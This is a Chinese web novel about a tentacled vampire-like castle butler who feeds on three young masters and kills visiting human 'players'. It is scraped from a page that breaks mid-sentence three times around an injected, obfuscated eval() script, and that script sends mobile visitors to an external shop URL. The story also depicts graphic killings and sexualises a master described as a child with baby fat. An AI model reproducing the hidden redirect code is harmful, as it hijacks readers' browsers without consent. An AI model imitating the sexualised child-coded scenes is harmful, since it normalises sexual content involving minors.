《爱上管家是少爷们的宿命[GB]》 1. 小少爷 今天古堡内又来了十五位客人,都是二十几岁的年轻男女。 你作为古堡的大管家,尽职尽责地完成管家任务,安排他们的吃喝拉撒。 没想到…… 三位少爷不开心了。 你拿着一盘眼珠刺身正要给客人们送去,小少爷将你堵在门口,一双红色兔子眼嗔怪地看着你。他摸上你有力的手臂,指尖摩挲着向上攀爬:“不要再理他们了,管家大人,你舍得让他们吃掉我的眼珠子吗?” 他踮起脚,轻抚你的脸,你从他的眼睛里看到面无表情、冷静自持的自己。 你后退一步,低头恭敬地说:“小少爷,我还要工作。” 你右手背在身后,左手托着银盘,尾骨伸出的几根绿色触手隐匿在裁剪得当的燕尾服中,它们时不时探出头来,又害羞地藏进衣服里。 小少爷歪着头,抱着兔子玩偶,咬住诱人的嘴唇,看着你的触手,又伸出舌尖轻舔唇瓣。顿时,他秀气的嘴唇上泛起一片水色。 你从他身旁走过,他勾住触手,在触手顶端打着圈:“不要……不要理他们。” “你总是这样,每次有人来你都会尽心尽力地服侍他们,那我呢?”他眼眶泛红,委屈道,“你已经三天没来我这里了,没有你,我睡不着。” 你尝试着收回触手,但触手已经被小少爷抚摸得忘乎所以,不断分泌透明液体。 你闭上眼,心里痛斥这见色忘主的小家伙。 触手环住小少爷的手腕,在他纤细的手腕上留下一抹水痕,冰凉凉,滑腻腻。 你心一横,收回触手,将这小宠物压制在尾骨中不得出来。 小少爷不满地“哼”了一声。 你看了眼腕表,对他鞠躬:“小少爷,时间到了,我需要去给客人送食物。” 小少爷不再无理取闹,他个子矮,只到你的肩膀,红彤彤、湿漉漉的眼睛无辜地望向你:“今晚来陪我,好不好?” 他牵住你背在身后的手,勾着指尖,摇晃着,祈求着:“来我房间里,讲故事,好不好?” “管家大人……”他在等你的回复。 你克制地和他拉开距离,管家守则第一条就是与少爷划清界限,不该奢求的不能妄想。 你正要拒绝,小少爷却看透了你的心思。 “管家守则第二条,少爷的命令,管家都要满足。”他微笑着发出不能称作命令的命令,“管家大人,我命令你来陪我睡觉。” 你还能说什么呢? 你的触手威力大到只轻轻发力就会把娇气的小少爷弄哭。小少爷何等骄傲,他不允许自己败给管家。 于是他一次又一次地邀请管家,一次又一次地挑战管家,毫不意外,全盘皆输。 他抱着自己的玩偶在管家面前瑟瑟发抖,疲惫得大汗淋漓,跪在床上,喘出的气凝成白雾,将他酡红的脸蛋遮住。 你收起回忆,垂眼不看你的小少爷,在他期许的目光中答道:“是,少爷。” 他满足地眯着眼,兴奋的情绪让他的眼睛发出红光。他愉悦地说道:“管家大人,我会选一个好故事的。” 应付完小少爷后,你按部就班地服侍着十五位客人。 给他们每人上了一道眼珠沙拉。 一人一张盘,盘里有一个眼珠,眼珠周围有些许心脏碎片点缀。 他们的脸你记不住,但他们身上有号码牌,挂在脖子上,你的管家脑子,只记得住这座古堡和你的少爷们。 玩家一号是一位五大三粗的男人,他对你上的菜十分不满:“管家,这是什么,这能吃吗?” 你的情绪很稳定,也见多识广,这种没脑子的生物你最会应付。 “这位先生,”你柔和地说,“这是小少爷专门为了招待诸位特意吩咐厨房准备的,是他的最爱。” 你是管家,必须在外人面前维护少爷:“不能浪费食物,不然少爷会不开心的。” 玩家十三号是一位戴眼镜的女人,长得还行,但你不吃这款的颜,她问出的问题很别扭,像是不得已这么做的:“我们十分感谢少爷的款待,不知何时我们才能见到少爷?” 见到少爷? 呵。 人类不可能见到少爷,因为少爷最讨厌人类。 可你是一位称职的管家,你不可能在客人面前这样说。 你答道:“小少爷身体不好,不愿意与人见面,更不愿意别人碰他的东西。” 你不卑不亢地说:“请各位客人好自为之,不要去打扰少爷,不然少爷会生气。” 你也会生气,因为生气的小少爷不好哄,哄不好的后果就是小少爷无限地缠着你,不让你去工作。 不能工作,这是一个大麻烦。 你最爱在古堡上班了。 小少爷娇生惯养,和他在一起时,一旦你把他弄疼了,他就会拿着抱枕打你、赶你,嘴里骂你,眼尾泛红对你哭泣。 虽然攻击力不强,就跟挠痒痒似的,但你的心也会泛起密密麻麻的疼。 你见不得小少爷哭,却又喜欢把他弄哭。 你退出大厅,留下十几位仆人服侍这些客人。 你不再理会身后客人们的窃窃私语,你只需要等到晚上,用触手杀死吃掉眼珠子的人。 是的,不能浪费这道菜,不然就是不敬少爷。但是那些人类又不能吃下眼珠沙拉,因为这是小少爷的东西,小少爷最不喜欢人类碰他的东西。 他最讨厌人类了。 偏偏你又不得不服侍这些人类。 你回到自己的房间,坐在梳妆台前。 房间墙上的挂钟“嘀嗒”作响,你静心等待着傍晚的来临,等那些客人们吃完饭,给他们安排房间。 安排房间,这也不是一个轻松活。 整个四楼都是小少爷的。 你的房间在三楼最里面,靠近储物室。 十五位客人,他们的房间必须在二三楼,不能让他们上四楼打扰小少爷。 你的脑中自动浮现古堡的空间布局,尾骨里的触手探了出来,你的小宠物轻易穿透墙壁、穿越空间,在客房门上一个个写上数字。 突然,你尾骨一酥。 你的触手宠物被人抓住了。 人类看不见触手,仆人没有权限阻止触手。 能抓住它的,只有和你同等级的少爷。 是哪一位少爷呢? 你细细感受着从触手处传导过来的感觉。 那双手,轻捏触手尖,沿着触手斑驳的纹路从上到下滑动。他的指尖在触手上跳跃,轻扣它的凸起。 然后,你感受到一股粘稠的水滴,那人在你的触手上留下了什么。 你的触手高兴坏了,它摇曳着,扭动着,和这位少爷愉悦地玩耍着。 你知道是哪位少爷了。 你感受到他光滑软嫩的手,不大,却灵动;不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343122|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宽,却能正好握住你的触手。 小少爷为何会到三楼来? 小少爷不能来到这里,这不符合规矩。 你微微皱眉,将触手收回。 起身,离开朴实无华的房间。 你贪婪地嗅着小少爷留下的血腥味,慢慢寻找这位任性的少爷。 他的血不是铁锈味的,而是甜腻的、蛋糕一样的味道。 你喜欢蛋糕,所以你喜欢小少爷的血。 当你需要能量了,或者想吃点饭后甜点,你就会找到他,夺走他的玩偶,用触手控制他,然后,咬下去…… 你不能再回味了,不然你又要饿了。 可是,小少爷是个调皮的男孩,他故意放出鲜血,把你的触手宠物喂饱。 你的口中分泌唾液,你情不自禁地舔嘴唇,吞咽口水。 哦,不能这样,你三天前才吃过,不可贪多。 空旷的走廊里,你的高跟鞋踩在地上。 “哒、哒、哒。” 你慢条斯理地整理袖口,用嘴咬住白色手套,缓慢褪下,露出你圆润修长的手指。管家不能留指甲,所以你三天前才修剪过。 “唉。” 你叹口气,还不都是你之前下手没轻没重,在小少爷的脖颈上留下一道道月牙印。 小少爷生气了,命令你剪指甲。 于是,你在他面前修剪你的十根手指。 每一根手指上都沾染了水色,别误会,这是和小少爷相处时,触手分泌的。 好吧,也有小少爷的。 为了让少爷满意,你先洗手,再一根一根擦干手指。 然后。 “咔哒、咔哒。” “满意了吗?我的小少爷。”你问道。 你的眼漆黑如墨,像一池深潭,这个古堡里的少爷,都会在这双眼里溺毙。 小少爷喘着气,将触手推至一边,微不可查地点头。 对啊,你这么好的服务,小少爷怎么可能不满意。 他也不能说出“不满意”三个字。 不然…… 呵。 小少爷,你到底藏在哪里? 这种躲猫猫的把戏你还玩不够吗? 你的长发被一条红绳缠绕,碎发垂落在你的肩上。 你把白色手套攥在手里,跟着脚步数节拍。 走到三楼回廊尽头,你停下脚步。 “小少爷,找到你了。” 小少爷,你违反了规则,来到了三楼。 不可以这样做哦。 明明和你说了这么多次,为什么就不长记性呢。 你推开客房门。 哦呼,这次怎么…… 小少爷,玩偶不是这样玩的哦。 玩偶是你的武器,你怎么能如此不尊重你的武器呢? 还有,你把客房弄成这样,客人该怎么住呢? 藏在尾骨处的触手随心而动。 小少爷,果然还是太骄纵了。 收拾客房可是很累的,你不想再增加工作量了。 但是,招待客人不是少爷的工作。 你歪头,看向躺在地上的少爷,跨过扔在一边湿漉漉的玩偶。 你心里有点不爽,因为小少爷的行为让你额外增加了工作量。 还没到晚上,就不要这么心急。 准备好接受惩罚了吗? 小少爷。 2. 惩罚 “我都忘了,你这里还没好。”你红唇轻启,对着嘴唇微张的小少爷说。 你靠着床尾,微曲着腿,小少爷跨坐在你身上,你的手在他腰侧摩挲。 你的触手在他身后兴奋地摇摆,不知在干些什么。 你的双眼锁定他脖子左侧,那里还有两个没有愈合的洞。 他力竭地倒下,扑向你,双手环抱着你的脖子,向你展示他脆弱的身体。 你的耳边尽是他吐出的气息:“右边,右边的好了。” 右边…… 你的手覆盖他的脖子,收紧,他的气息骤然急促,你的眼神晦暗不明。 算了。 你准备放过他的脖子。 上次是你不好,咬得重了点,导致左侧的伤口到现在还没好透。 你向他道歉,嘴里是属于管家的恭敬。 “少爷,我的错,我晚上给你拿药。”你这样说道。 “管家大人……”他红着眼,抱着你,开始哭,泪水沾湿了你的衣襟。 但你是大方的管家,只是不理解小少爷为何哭。 哭什么? 你心里烦躁。 哭了还得哄,哄人…… 好吧,哄人也是你的工作,你必须要完成。 你腰腹发力,抱着人站起,手臂托着小少爷的屁股,将他放在空无一物的梳妆台上。 小少爷背对着镜子,缠着你,恨不得零距离。 你正对着镜子,能清楚地看到弓着的腰,微露的锁骨,侵略性的眼,但你的脸依旧是那副无表情的冷淡模样。 你盯着镜子里的自己,手下探,抓住小少爷的小腿,一个用力把小少爷的身体折曲,他的大腿被送到你嘴前。 你就这样看着镜子里的自己露出尖牙,面对紧闭双眼的少爷。 你心里感到一阵舒爽,因为你喜欢这个位置,这是最能展现出你上位者的姿态。 小少爷被这股力气弄的手里抓不住东西,他手里没东西就会恐惧,哭得就更厉害。 于是,你尾骨里的触手被放出,小少爷抓住你的触手,紧紧抓着。 “力气小点……”你说。 “嗯。”他微微松开手。 你就这样看着他。 咬。 听着小少爷的闷哼声,你心如止水。 这是对他的惩罚。 晚上你还要去处置那些客人,小少爷尽给你找麻烦。 “不要到三楼,小少爷你听到没?” 他点头。 “不要让别人看到你,还没到时候,你听到没?” 他继续点头,眼泪继续流。 “好了好了,擦擦眼泪吧。” 你用带点薄茧的手指划过他软嫩的脸蛋。 “不要再下来找我了,听到没?” 小少爷摇头。 还敢摇头…… 你换了另一边,找到最软的部分,贴近内侧,加大力度。 咬。 小少爷又哭了。 怎么又哭了,不是刚擦过眼泪吗? “不要再下来找我了,听到没?” 你继续问这个问题。 小少爷点头,带着哭腔说:“可是,我想找你,我想让你陪我。” “我不是答应你了晚上去给你讲故事吗?”你稍显无奈地说。 你放过他的腿,他松开你的触手。 小少爷又黏了上来,他的腿跨着你的腰,你托着他,稳稳抱着。 你在听他的解释。 “到晚上还有很长时间,我忍不住……” 小少爷是最小的孩子,他耐不住性子也是正常的。 “所以你弄乱了客房,还弄湿了玩偶?”你问道。 他把脸埋进你的颈窝,你感受到他滚烫的温度。 小少爷害羞了。 “你吃饱了吗?”他闷闷地说,但语气里是藏不住的开心。 “嗯。”你发出一声音节。 你本来就不饿,但你撑不住他血的诱惑。 小少爷的血能增幅你触手的攻击力。 这一顿下来,晚上的活能轻松很多。 你抱着他,从廊道这一头走到那一头,来到你的房间门口,准备转弯上楼,将他抱上四楼。 他蹬着腿,轻踢你的腰,乖乖恳求道:“我想呆在你房间。” 你眉头一挑,按住他大腿内侧刚咬出来的伤口。 听到他吃痛的声音,你说:“刚说好的规矩,又忘了吗?” 他摇头,不再说话。 触手卷起他的玩偶,在你身后摆动。 小少爷伸出手指,挑逗你的触手。 他的食指上有一道不渗血的伤口,这是之前用来喂触手的。 一根触手分泌出液体,涂抹在伤口上,那一道划痕快速愈合。 触手倒是会疼人。 但你不会,你喜欢等着他的伤口慢慢愈合,然后,在愈合的最后关头,再次啃咬。 你不总是这样,这只是你的小癖好之一。 小少爷也喜欢。 他能不喜欢吗? 你耐心地慢慢走,让他在你怀里待得久一点。 进入四楼,你推开他的房间门,把他放在床上,给他盖好被子,触手也将湿漉漉的玩偶放在一边。 好好休息,小少爷,第二天,你才登场呢。 你关上门,想到什么,又转身,打开门。 在他疑惑的目光下,你用触手卷起玩偶。 你是一个有洁癖的管家,这个玩偶,还是给少爷洗干净吧。 虽然你不嫌弃从他身上分泌出来的东西,但是…… 还是洗净晾干吧,干燥的玩偶少爷抱起来才舒服。 你下楼,戴上手套,一道目光刺向你。 你抬头,是五楼的大少爷在俯视你。 你讨厌仰望别人,你只能俯视别人。 你拎着玩偶,触手出动,它直接穿透空间,卷住人的脖子。 大少爷还没反应过来,就被触手压迫得抬起头,却还在眼神向下,睥睨着你。 你真的很不爽,把他拉到眼前,砸在地上。 大少爷总是想取代你,想证明自己比你强。 大少爷,你怎么回事? 三个少爷中你的年龄最大,还没被打服吗? 大少爷什么时候才能像小少爷这么乖,这么听话呢? 你乜斜着眼,侧着身,欣赏他的狼狈姿态。 你的触手不断发起攻击,他咬牙坚持。 你也没有丝毫的怜悯,因为你在等待。 等着他求饶,喊出那一句…… “管家大人……” “我认输。” 你颔首,将触手收回。 大少爷趴在地上,翻身。在他的视角,你撑满了整片天。 “我还是……看不清你的攻击。”他用右手盖住眼,喉结滚动,不敢看你。 “我的速度,你还不知道吗?”你嗤笑一声,反问,“你难道没有体会过吗?” 是啊,小少爷娇气,他打不过你,认输之后哭了你心甘情愿去哄,大少爷非得坚持到最后一刻,等到他伤痕累累,承受不住再求饶。 你喜欢小少爷的泪水,喜欢大少爷的求饶。 还有一个少爷,他最会装可怜了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343123|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也最听你的话,最会用你的怜悯满足他的癖好。 你看向风平浪静的六楼。 瞧啊,听话的二少爷从不做出越界的事,他就一步也没出过六楼。 你低头看向大少爷。 他衬衫的纽扣不知何时崩掉了两颗,露出雪白的胸膛。 你都想吹口哨了,大少爷这角度,茱萸看不到,但能过分引人遐想。 “要来一口吗?”他问。 “未受伤,不了。”你答。 大少爷的血能加速你伤口的愈合。 你略略扫了一眼这次的十五位客人,他们身上的武器装备尚不能对你构成威胁。 你用触手卷起他的腰,将他甩上五楼。 “好好呆在楼上,不要给我增加工作量。”你不带留恋地转身下楼。 没人能阻止你上班。 去客房的路上,墙上的壁画对你眨眼。 你理都不理,径直走过。 大少爷,这就对了,你好好呆在五楼用壁画监视客人不好吗? 相比管家的工作,这是一个轻松活。 你收拾完客房后,回到自己房间,拿着玩偶,准备给小少爷的玩偶做个清洁。 他的兔子玩偶随主人,任你玩弄。 你捏着兔子耳朵,搓洗。 兔子抖了抖。 你掐住兔子尾巴,指尖扣弄。 兔子耳朵垂下,遮住兔子脸。 你把耳朵掰回后面,按着玩偶的头,挤压。 兔子身上的水淅淅沥沥地流出,混着泡沫和馨香。 你没有用洗衣液,而是用沐浴露洗兔子。 你喜欢这个沐浴露味,你相信兔子玩偶也喜欢。 小少爷总是趴在你身上,将头埋进你的怀里,轻嗅你身上的味道。 他多次想用你的洗浴装备,你多次拒绝。 不行哦,小少爷。 你对小少爷的偏爱够多了,浴室这种地方,小少爷不能踏足。 你抬手,看腕表。 时间到了,要招呼客人们了。 你带领客人们来到他们的房间。 一个一个,按照号码牌入住。 还真有几个蠢货吃下了眼珠子,你锁定3号,7号,11号,14号。 剩下那11个人,还算聪明,把眼珠子藏起来了。 “管家小姐。”玩家二号叫住你,“请问,我们真的能安稳睡下?” 玩家二号是一位俊俏的男人,你凝视他的脸,他的身材,这是你喜欢的款。 但是,他在质疑古堡的安全性。 这,你就不喜欢了。 “这位先生,”你礼貌地微笑,背脊挺直,“不要质疑我的管理水平,古堡永远是最安全的。” 当然是最安全的。 少爷换了一批又一批,你守卫古堡一年又一年。 任何生物都不可能在你的眼皮子底下攻下城堡。 “我不是这个意思,”他连忙摆手说道,“我们……真的能睡下吗?” “放心,”你安慰他们,“我一直睡得很好。” 后面的人群又发出骚动。 玩家二号跟着你,想多问几句。 你嫌吵,隔着手套用食指按住玩家二号准备说话的嘴,他果然停下,目不转睛地看着你。 “嘘——”你对他说,“让他们安静下来,少爷不喜人吵闹。” 说罢,你进入自己的房间。 玩家二号还在看你,他知道了你的房间。 你不把他放在心上。 因为你需要休息一会儿,半夜还要和那四位客人玩耍呢。 3. 讲故事 口哨声响起,红发带飘扬。高跟鞋叩地作响,踏碎风的慌张。 眉峰冷冽如刃,目光锁死前方,一步一从容,一步一锋芒。 猎物慌不择路,你却步步稳当,不急不躁,不慌不忙。 “别跑了,别喊了,声音传不出去。” 你笑着追逐猎物,他四肢并用,狼狈爬行。 只可惜,他没蟑螂迅捷,没老鼠灵活。 触手穿透那人胸膛,他发不出嘶吼,留不下遗言,任凭鲜血流淌一地,黄白脑浆四溅。 门缝中的一双眼,蓄满泪水,瞳孔骤缩,死死捂住嘴不敢出声。 别哭,下一个就是你。 吃过眼珠子的,一个都跑不掉。 空间被彻底封死,你身后的触手肆意张扬。 残肢遍地,红底高跟跨过血肉狼藉。 一个响指,“啪嗒。” 你依旧是那个优雅的管家。 3、7、11、14,四个人里只有两个有武器,还只是低级法器。 一根棍子,一把短刀,毫无作用,被你的触手轻轻一碰,便化为残糜。 两人手无缚鸡之力,看来他们四人想走捷径,赌一把,以为吞下眼珠就能获得能力或武器。 眼珠确实“不能浪费”,但也没说过让他们吃啊。 你踏出这片空间,回到整洁如新的走廊。 你是管家,也是宿管,更是安全员。 你路过一间间客房,逐一推门,检查房门是否上锁。 房间序号毫无规律,纯粹是你按心情排布。 都怪小少爷,在你编排房间的时候一直打扰你。 来到三楼走廊尽头的那间房。 白天和小少爷胡闹的记忆还在脑海里。 你看看,住进这间房的是…… 2号。 那个长相俊秀的“食物”。 你对秀色可餐的猎物,总会多一分耐心。 这不,他房间没锁门,你顺手替他锁上了。 “管家小姐。”他探出头,在你身后轻声呼唤。 这个“食物”穿着单薄的睡衣走了出来。 他倒是格外松弛,你活了这么多年,见过这么多玩家,他是唯一一个自带睡衣的。 “我不喜欢这个称呼,我不是这座古堡的小姐或少爷。”你礼貌微笑。 你是古堡的统治者。 他和你身高相近,你们恰好平视。 “那……管家大人?” 你点头,继续等待下文。 “管家大人这么晚了在做什么?” 这个“食物”胆子很大,竟敢打探你的动向,这也是头一遭。 你好奇他接下来的举动,于是好脾气地开口:“我在保卫你们的安全。” “我就是这么猜的,你一个个推门,是为了提醒我们锁好房门。我这人比较大意,劳烦管家刚才帮我上锁了。” 你只觉他话里带刺,阴阳怪气,你冷淡说道:“不客气,应该的。” 或许是你的耐心给了他挑战你的勇气,他竟得寸进尺:“那管家大人是怎么在门外给门内上锁的呢?” 你的耐心耗尽,却依旧维持着表面的礼貌:“你这么想知道?” 玩家二号点头,接着故作姿态地伸手打哈欠,故意露出纤细的腰腹与薄肌,裤子微微下坠,分明的腹沟上还有几道凸起的筋络。 “管家大人,我等了你好久……” 他锁定你,眼里是势在必得和迷之自信:“我一直等,一直等……” 你挑眉,对他道:“想知道的话,跟我进来,我演示给你看。” 你们走进房间。 然后…… 一道无形屏障自地面升起,将房间彻底笼罩。 玩家二号毫不知情,还在用他引以为傲的身体引诱你。 “噗嗤。” 触手直刺心脏。 玩家二号的睡衣还没解开一半,便已气绝。 “不自量力。” 你跨过他的尸体,坐在床边,看着触手将这具美丽的“食物”啃食殆尽。 自以为聪明的玩家二号,还以为你不清楚位面四的丑闻。 拜托,位面BOSS爱上玩家这种恶心事,一经发酵,所有诡异都心知肚明。 好事不出门,坏事传千里。 位面四被那两个恋爱脑搅得天翻地覆,新任BOSS击杀那两个麻烦后,还请你喝过酒。 规矩不可变。 玩玩就好,何必动心。 玩家二号不用冷兵器,他的能力貌似是“魅惑”。 他的能力附魔强度在人类面前或许还有点用处,但在你面前…… 不是修行千年的狐狸,就不要在千年的诡异面前玩聊斋。 活不过,还打不过,那不就纯找虐吗? 你冷哼一声,径直穿透墙壁,回到走廊。 壁画上的小人饶有兴致地打量着你。 大少爷,你又不长记性,又分不清主次了。 你将壁画取下,摔在地上,高跟鞋碾过画中人的眼珠,慢悠悠地上楼。 你还要继续检查少爷们的房间。 尾骨处的触手探出,又重新将壁画挂回墙面,画里的小人早已不见,不知逃去了哪里。 “你怎么现在才来?”小少爷抱着焕然一新的玩偶,瘪着嘴坐在床上朝你伸手,委屈地要抱抱。 你坐上床,柔软的被褥微微下陷,小少爷高兴地扔掉玩偶,扑进你怀里。 都说了不能扔掉武器。 触手又把玩偶拿回来放在床头。 “你身上有别人的味道。”他揪着你的衬衫,小声埋怨。 “对不起。”你随口道歉,伸手揉乱他蓬松的短发,“我去清洗一下?” “不要。”他哼唧着,“留下来陪我,我不嫌弃你。” 他故作纯真的模样逗笑了你。 “谢谢小少爷的不嫌弃。”你靠在松软的枕头上,小少爷在你怀里找了个舒适的位置,靠上来。 “选了哪个故事?”你问道。 触手送来一本巨大的独眼童话书,平摊在被子上。 书脊上的利齿还想咬人,被你一拳驯服。 实力不够,就别模仿《妖怪们的妖怪书》。 小少爷指着书中某一篇:“这个。” 你扫了眼内容。 嚯! “你是想让我读出来,还是……”你不确定地问。 “角色扮演。”小少爷道,“他们说这是Cosplay。” 少爷长大了,都会玩这种游戏了。 你有些心累。 “谁告诉你可以玩角色扮演的?还知道英文了。”你合上书,环住他,低头问道。 他用指尖卷起你的长发,又轻轻松开。 你掐住他还带着婴儿肥的脸颊:“回答我。” “嗯……”他忸怩道,红着脸,鹌鹑一样不敢看你,“是……是第四位面的,我之前去串门的时候不小心看到了……” 那个跨物种之恋的丑事,居然都被小孩子看到了,真不知道避着人。 你又气又笑,他们幸亏被新老四击杀了。 可你还是觉得可惜,本该由你和触手慢慢引导小少爷,如今你的作用却被顶替了。 你还没教到Cosplay,小少爷就已经知道了。 养成系的乐趣,凭空少了大半。 呵。 第四位面。 罢了罢了,看着小少爷求知若渴的眼神,你终究还是心软了。 “你要扮演哪一个?”你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343124|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着书中人物问他,“是她?还是他?” 他指向被捆起来的王子。 小少爷想当小王子…… 身份匹配,你同意了。 那你,便是抓住王子的兽人。 触手蠢蠢欲动,它早已迫不及待要扮演兽化后的形态。 “到时间了,我要继续工作了。”你戴上手套。 又忘记洗漱了,你重新摘下手套,准备去盥洗室清理。 小少爷拉住你的手,强硬地与你十指相扣。 “你嫌弃我吗?”他问。 “不。”你眉眼弯弯地笑,将手轻轻抽出,“我只是累了,要回去了。” 小少爷的手很小,从未干过重活,又白又嫩又软。 既能轻易扣住,也可轻易挣脱。 小少爷留不住你,四楼检查完毕,你还要去五楼。 五楼…… 那个胆大包天的家伙,竟然不在了。 你此刻有些疲惫,只想休息,不想再和大少爷动手。 为什么每个人都喜欢跟你玩失踪? 你感知着城堡内的每一个角落。 再次睁眼,抬脚,面色不虞地回到自己的房间。 大少爷正躺在你的床上,盖着你的被子,靠着你馨香松软的枕头,把玩着小少爷送你的触手玩偶。 他手欠地抓住每一根触手,弹、揉、搓、甩。 甚至挑衅地望着你,伸出tongue,舔舐玩偶。 你炸了! 玩偶脏了! 可你是管家,统管整座古堡。 不行,不行,深呼吸,管家必须情绪稳定。 “大少爷,”你笑眯眯地问,“有何贵干?” 他“哼”了一声,重重倒在你的床上,极具弹性的高级床垫微微弹动。 “我睡不着,”他说,“你们动静太大,吵到我了。” 吵到你个鬼。 布下空间屏障还能吵到你,你哪来这么大的本事? 但你依旧笑得温和。 “所以呢?”你问。 “我睡不着,你怎么哄我弟弟的,也哄哄我呗。”他呈“大”字形霸占整张床,蛮横不讲理的姿态熟练至极。 见你不理会,他露出锁骨,上面两个血洞格外刺眼——你之前咬出的伤口,竟还没有愈合。 “我故意的。”他得意地抚摸着伤口,“我每次自己独处时,按着它,会更有感觉。” “所以,管家大人,”他跪在床上,一步步向你靠近,“你怎么对我弟弟越界的,就怎么对我。” 你不觉得自己是变态,更不是有虐人倾向的施虐者。 但大少爷,妥妥是个受虐狂。 “好啊。”你说。 他满心欢喜地准备迎接风暴。 下一秒,触手直接将他敲晕。 怎么可能play,你累了一整天,实在不想再玩什么角色扮演。 往年倒是可以以一敌三,可自从位面四出事之后,你还得分出精力协助新任BOSS管理位面。 魔力储备本是满值,如今只剩下七成。 唉,老了,不中用了。 折腾一次,需要缓好久才能再来第二次。 节制啊节制,你这么敲打自己。 你轻叹一声,替大少爷调整好姿势,盖好被子,掖紧被角。 说真的,你这个管家,实在称职。 少爷们的要求你都尽量满足,他要哄睡,你去哄;他要睡你的房间,你也让了。 你心情愉悦地哼着歌,来到楼下,坐在长桌前,等待太阳再次升起。 这一天,可把你累坏了。 你望向楼上的客房,心中清楚,第二天,只会更加有趣。 只希望那些少爷,别再来打扰你工作。 4. 第二天 “啊——” 一声尖锐的惨叫划破宁静的清晨。 你静待好戏开场。 十五位客人如今只剩十人,他们陆续来到大厅,见到你的身影都吓了一跳。 你起身,安排他们入座:“早上好,各位客人,我去准备早餐。” 他们一动不动地目送你离开,眼神里满是怀疑与恐惧。 有什么好怕的。 你又不会吃了他们。 你只是偏爱少爷的鲜血,又不喜欢人类的肉。 你暗中观察着他们,玩家四号很快凭借手中的武器掌控了人群的主导权。 这是什么武器?你不认识。那东西黑漆漆的,还有一个孔洞,玩家四号只是按了一下,它便发出巨大的声响,将凳子击得粉碎。 人类竟然进步了,还没有告诉你,你盯着玩家四号,断定这件武器会对你造成威胁。 你正打算出面,以毁坏少爷最爱的椅子为由恐吓他们,结果下一秒,玩家四号就将支离破碎的椅子恢复了原状。 时间倒流? 你心头一跳,按兵不动。 “一个晚上少了五个人。”玩家四号环顾四周,“可是,为什么只有四具尸体?” 众人纷纷摇头,玩家五号举起手,迟疑地开口:“而且,我完全没有听见任何动静。” 无人应答,玩家五号又往身旁的四号身边靠了靠,声音发颤:“不……我记错了,好像……好像有人推开了门。” 四号点头认同:“对,有人推门,我也听到了,除此之外,再没有其他动静。” 玩家十号说道:“温谷,是温谷没有尸体。” 谁?二号? 二号的名字自动被你从记忆中抹去。 玩家四号若有所思。 突然,她转过身,朝你的方向大喝一声:“谁在那里?” 玩家五号被她吓了一跳,拽住四号的手:“没……没人,禅意,你别吓我。” 禅意,好名字,但你更喜欢以序号称呼人类。 你隐匿在黑暗之中,藏在属于自己的空间里。 等级不及你的人,绝无可能看见你,就连大少爷都无法看透你的空间。 玩家四号……她却能模糊地感应到你的存在。 你不由多看了她两眼。 玩家四号戴着眼镜,长相清秀,眼镜后是一双丹凤眼。她身材高挑,气质独特,不怯懦畏缩,也不刻意出头,难怪第一天你都没有注意到这号人物。 你的触手从尾骨中钻了出来,兴奋地不停摆动。 “你看上她了?”你开口问道。 触手攀附在你的手臂上,一圈圈缠绕。 “想吃吗?” 触手锁定玩家四号,轻轻点了点。 你来到厨房,吩咐仆人们制作人类能食用的食物,你舍不得让玩家四号饿着肚子。 小少爷再次拦住了你,拿着玩偶凑过来黏着你。 这一次你不再耐着性子哄他,你必须回大厅观察你的猎物。 “管家大人……”小少爷掐着嗓子,声音尖细又带着几分甜意。 他拉住你的手,将脸颊贴在你的掌心。 你含情脉脉地看着他,下一秒却推开他的脸,转身径直离开。 你不想再陪小少爷玩闹了。纵容一次尚可,次次迁就绝无可能。 下一次,要等到三天之后。 你可是时间管理大师。 不知那群人商讨出了什么结果,你带着一众仆人依次上菜。 没有人敢动筷子。 一群胆小鬼,你在心底嗤笑道。 你故意与玩家四号对视。你的长发扎成低马尾,斜搭在肩头,发丝间穿插着一条丝绸红发带。 与你的松弛从容相比,四号显得有些紧绷。她留着一头利落的短发,左耳上戴着一枚月亮耳钉,上面镶嵌着细碎的钻石,亮晶晶的。 长得真漂亮,秀色可餐。 你对她眨了眨眼。 玩家四号是个聪明的人类,她望着你,小心翼翼地品尝起面前的一碗粥,所有人的目光都落在她身上。 等她点头示意安全后,其余人才敢开始吃早餐。 没有人敢在你面前说话,除了玩家四号。 “管家……”她顿了一秒,“管家大人,我们什么时候可以见到少爷?” 你一改之前的态度,模棱两可地回答:“等少爷想见你们的时候。” 按照位面五的流程,小少爷会在今日现身,与他们玩一场大逃杀游戏,但具体时间,你也无法确定。 你释放出感知,发现十个人中只有三人随身携带了眼珠。 一号、九号、十三号。 